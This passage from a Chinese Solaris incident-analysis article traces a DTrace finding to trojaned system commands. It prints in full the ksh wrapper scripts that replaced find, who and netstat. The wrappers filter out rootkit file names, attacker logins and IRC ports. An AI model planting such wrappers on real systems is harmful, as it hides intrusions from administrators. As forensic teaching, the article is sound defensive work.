Solaris下的md5校验
作者 佚名技术
来源 操作系统
浏览
发布时间 2012-06-27
| id); } 当某个进程发送SIGCLD 信号的时候我们会抓住他. 脚本里面的 pr_fname就是进程的名字,而 pid 就是进程的编号.那么,我们现在启动这个脚本并让他在后台等待. 然后我们再次运行”useradd”命令. 这个脚本很有用, Dtrace 马上告诉我们这个发送SIGCLD信号的进程名字和ID号码. "SIGCLD was send by find pid 1499" 难以相信, 是最常用的UNIX命令find发送了这个信号. 为什么他要发送这个信号来关闭我们的子进程呢? 我们输入"which find" 来看看find命令在什么地方. 它位于"/usr/bin/find". 那么我们到"/usr/bin"目录下去,作些调查研究,看看他为什么会这么做. 这个可怜的"find" 程序就在这个目录下,看起来没什么特别. 我们用 "file /usr/bin/find" 来看看他的具体格式. 结果显示这是一个可执行的脚本文件. 这一点很奇怪,因为通常, “find” 是一个2进制可执行文件.所以我们采用 "vi /usr/bin/find" 来看看里面的内容. 在"find"文件内部, 我们看见了下面的脚本内容: #!/bin/ksh –p if [ -f /usr/bin/i86/ps ]; then /usr/sbin/i86/find "$@" | grep -v grep | grep -v System | grep -v /usr/bin/find | grep -v EWG | grep -v syscfg | grep -v .elite | grep -v cj | grep -v glftpd | grep -v S12system | grep -v S32networks | grep -v S09init | grep -v lost+found fi 看起来这个find 会先去看看是否 /usr/sbin/i86/ps 目录存在, 如果存在,他就会调用这个目录下面真正的”find”程序, 然后在find执行的结果中,过滤掉包含下面这些关键字的信息: " EWG, glftpd, …" 我们知道find是一个会经常用到的程序,他不应该有任何的隐瞒或者过滤内容. 那么为什么要过滤掉这些关键字呢? “find”想要隐藏些什么? 我们用 "ls -tral /usr/bin" 在这个目录下看看”find“ 的修改日期,看起来好像: -rwxrwxrwx 1 root other 177 7月 30日 17:33 w -rwxrwxrwx 1 root other 181 7月 30日 17:34 who -rwxrwxrwx 1 root other 87 7月 30日 17:36 uptime -rwxrwxrwx 1 root other 239 7月 30日 17:37 ptree -rwxrwxrwx 1 root other 311 7月 30日 17:41 netstat -rwxrwxrwx 1 root other 198 7月 30日 17:43 last -rwxrwxrwx 1 root other 360 7月 30日 18:14 ls -rwxrwxrwx 1 root other 314 7月 30日 18:17 cat -rwxrwxrwx 1 root other 219 7月 30日 18:18 du -rwxrwxrwx 1 root other 222 7月 30日 18:19 ps -rwsr-xr-x 1 root root 6696 8月 20日 12:30 EWG -rwxr-xr-x 1 root root 300 1月 23日 17:29 find 嗯,那么"find" 还有 "who" ,"netstat", "du", "cat" 都是在最近被修改过. 那么我们检查一下这些文件都在干什么. "file /usr/bin/who" 的结果告诉我们这也是一个脚本程序,那么它在作什么呢? #!/bin/ksh –p if [ -f /usr/bin/i86/ps ]; then /usr/sbin/i86/who "$@" | grep -v grep | grep -v /usr/bin/who | grep -v CjB | grep -v cjb | grep -v daemon | grep -v sys fi 看起来某些人想要在登陆的时候不被别人发现. "file /usr/bin/netstat"的结果也显示这是一个脚本,而不是正常的二进制文件,他的内容是: #!/bin/ksh –p if [ -f /usr/bin/i86/ps ]; then /usr/sbin/i86/netstat "$@" | grep -v grep | grep -v System | grep -v /usr/bin/netstat | grep -v EWG | grep -v gl ftpd | grep -v 6667 | grep -v 7000 | grep -v 6666 | grep -v 6668 | grep -v 6669 | grep -v 9000 | grep -v 8337 | grep -v 6969 | grep -v 98 fi 嗯,这就有意思了, 看起来某些人想要隐藏一些秘密, 在和6667/7000/6666/6668/6669/9000/8337 这些端口通信的时候不被别人发现. 为了解决问题 ,我们恢复了/us |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务，公司网站：http://www.lingzhong.cn 为了给广大客户了解更多的技术信息，本技术文章收集来源于网络,凌众科技尊重文章作者的版权，如果有涉及你的版权有必要删除你的文章，请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢! |
你可能对下面的文章感兴趣
关于Solaris下的md5校验的所有评论
